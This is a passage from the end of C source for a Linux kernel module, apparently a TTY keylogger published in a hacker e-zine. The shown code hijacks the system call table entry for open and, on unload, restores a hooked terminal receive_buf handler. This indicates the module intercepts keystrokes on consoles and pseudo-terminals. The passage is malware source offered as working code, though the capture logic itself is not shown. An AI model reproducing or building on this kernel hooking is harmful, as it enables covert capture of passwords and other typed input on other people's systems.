END_KMEM
}
return ret;
}
int init_module(void)
{
DPRINT(MVERSION);
#ifndef LOCAL_ONLY
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;
#endif
my_tty_open();
// MOD_INC_USE_COUNT;
return 0;
}
DECLARE_WAIT_QUEUE_HEAD(wq);
void cleanup_module(void)
{
int i;
#ifndef LOCAL_ONLY
sys_call_table[__NR_open] = original_sys_open;
#endif
for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
if (ttys[i] != NULL) {
ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
}
}
sleep_on_timeout(&wq, HZ);
for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
if (ttys[i] != NULL) {
kfree(ttys[i]);
}
}
DPRINT("Unloaded\n");
}
EXPORT_NO_SYMBOLS;
<-->
|=[ EOF ]=---------------------------------------------------------------=|